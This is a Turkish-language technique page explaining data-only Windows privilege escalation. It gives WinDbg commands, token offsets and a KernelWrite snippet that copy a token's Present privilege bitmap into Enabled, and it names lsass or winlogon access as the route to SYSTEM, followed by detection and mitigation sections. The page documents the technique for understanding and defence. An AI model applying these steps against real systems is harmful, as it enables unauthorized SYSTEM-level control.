Skip to content

_TOKEN privilege bitmap overwrite (data-only privesc)

Tüm access token'ı swap etmek yerine, mevcut _TOKEN içindeki Enabled privilege bitmap'ini flip et; böylece SeDebugPrivilege/SeTcbPrivilege gibi gizli privilege'lar aktif hale gelir — minimal, data-only bir Windows privilege escalation'ı.

Mechanism

Present ama disabled bir privilege'ı enable etmek neden yeterli

Bir Windows access token'ı (nt!_TOKEN), bir process'in security context'ini taşır. Privilege state'i, _TOKEN içinde +0x40 offset'indeki bir _SEP_TOKEN_PRIVILEGES yapısında bulunur ve yalnızca üç adet 64-bit bitmap'tir:

  • Present — token'ın hangi privilege'ları tuttuğu (LUID bit'i set).
  • Enabled — bunlardan hangilerinin şu anda aktif olduğu.
  • EnabledByDefault — logon'da hangilerinin açıldığı.

OS'in güvendiği invariant Enabled ⊆ Present'tir: SeSinglePrivilegeCheck() gibi bir check bu bitmap'ler üzerinde yürür ve operasyona yalnızca ilgili bit Enabled'da set olduğunda izin verir.

Kritik olarak, birçok hassas privilege (örn. SeDebugPrivilege, SeTcbPrivilege, SeLoadDriverPrivilege) administrative/service token'larında sıklıkla zaten Present'tir ama disabled bırakılmıştır (Enabled bit'i clear) — whoami /priv'in tam olarak "Disabled" gösterdiği şey budur. Privilege zaten present olduğu için, kernel onu Enabled bit'i set edildiği anda kabul eder. Token swap yok, reference-count düzeltmesi yok, onarılacak bir object header yok: EnabledPresent'e eşitleyen tek bir 8-byte'lık write, tutulan her privilege'ı aktife flip eder.

Data-only varyantının cazibesi budur. Tüm bir SYSTEM token'ını çalmaya (ki bu object pointer'larını değiştirir ve _EX_FAST_REF reference count'unu korumak zorundadır) kıyasla, bitmap'i flip etmek hiçbir integrity check'in yeniden doğrulamadığı tek bir field'ı mutate eder. SeDebugPrivilege ile herhangi bir process'i açıp ona injection yapabilirsin; SeTcbPrivilege ile OS'in bir parçası gibi hareket edersin — her ikisi de tam SYSTEM'e giden pratik yollardır.

Walkthrough

Bu, data-only bir post-exploitation primitive'idir: bir bug'dan zaten bir kernel write (ve ideal olarak read) primitive'in vardır ve onu kendi process'inin token'ına yöneltirsin.

1. Mevcut process token'ını bul

Mevcut _EPROCESS'i bul (örn. bir leak üzerinden çözülen PsGetCurrentProcess ile veya KPRCB'den yürüyerek), sonra bir _EX_FAST_REF olan Token field'ını oku (düşük 3/4 bit bir reference count'tur ve mask'lenmelidir):

kd> dt nt!_EPROCESS Token
   +0x4b8 Token : _EX_FAST_REF       ; offset is build-specific

kd> ? poi(<EPROCESS>+0x4b8) & 0xFFFFFFFFFFFFFFF0
Evaluate expression: 0xffff... = <TOKEN address>

2. Privilege bitmap'lerini incele

kd> dt nt!_TOKEN <TOKEN> Privileges
   +0x040 Privileges : _SEP_TOKEN_PRIVILEGES

kd> dt nt!_SEP_TOKEN_PRIVILEGES <TOKEN>+0x40
   +0x000 Present        : 0x0000001f`f2ffffbc
   +0x008 Enabled        : 0x0000000000000800     ; almost nothing on
   +0x010 EnabledByDefault : 0x0000000000000800

Burada Present birçok privilege'ı ilan eder ama Enabled'da yalnızca bir bit set'tir — disabled-ama-present durumu.

3. Enabled == Present yap (bir ya da iki write)

Field'lar +0x40 (Present) ve +0x48 (Enabled)'tedir. Present'i Enabled üzerine (ve isteğe bağlı olarak +0x50'deki EnabledByDefault üzerine) kopyala:

kd> eq <TOKEN>+0x48 0x0000001ff2ffffbc      ; Enabled  = Present
kd> eq <TOKEN>+0x50 0x0000001ff2ffffbc      ; EnabledByDefault = Present

Runtime bir arbitrary-write primitive ile eşdeğer şekil (KernelWrite(addr, qword)):

ULONG64 present = KernelRead(token + 0x40);   // _SEP_TOKEN_PRIVILEGES.Present
KernelWrite(token + 0x48, present);           // Enabled        = Present
KernelWrite(token + 0x50, present);           // EnabledByDefault = Present

All-ones mask'i (0xFFFFFFFFFFFFFFFF) hem Present hem Enabled içine yazmak, tanımlı her privilege'ı açan daha kaba bir varyanttır.

4. Doğrula ve kullan

Userland'e dönünce değişiklik anında görünür:

C:\> whoami /priv
SeDebugPrivilege            ...   Enabled
SeTcbPrivilege              ...   Enabled
SeLoadDriverPrivilege       ...   Enabled

Buradan, SeDebugPrivilege winlogon/lsass'i açıp bir SYSTEM context'ine geçmene izin verir ve SeImpersonate/SeTcb eşdeğer escalation yolları verir — token object'ini hiç değiştirmeden privilege escalation'ı tamamlar.

Detection

  • Low-integrity bir process için Enabled mask'i aniden Present'e (veya 0xFFFFFFFFFFFFFFFF'e) eşit olan bir token anormaldir; bir driver/EDR, unprivileged process'ler için Enabled ⊆ EnabledByDefault'ı periyodik olarak bağdaştırabilir.
  • Önceden bir AdjustTokenPrivileges çağrısı olmadan, service olmayan bir process üzerinde SeDebugPrivilege/SeTcbPrivilege'in aniden Enabled olarak görünmesi, doğrudan kernel tampering'i işaret eder.

Mitigation

  • Altta yatan kernel read/write primitive'ini ortadan kaldır (bu teknik bir tanesini varsayar); HVCI/VBS ve kernel CFG onu elde etmenin maliyetini artırır.
  • Hypervisor tabanlı token integrity / token protection, _SEP_TOKEN_PRIVILEGES'e yapılan out-of-band düzenlemeleri tespit edebilir.
  • Tüm token hırsızlığının bir kardeş teknik olduğunu unutma; swap-the-pointer varyantı için arbitrary kernel R/W üzerinden access token theft'e bak.

References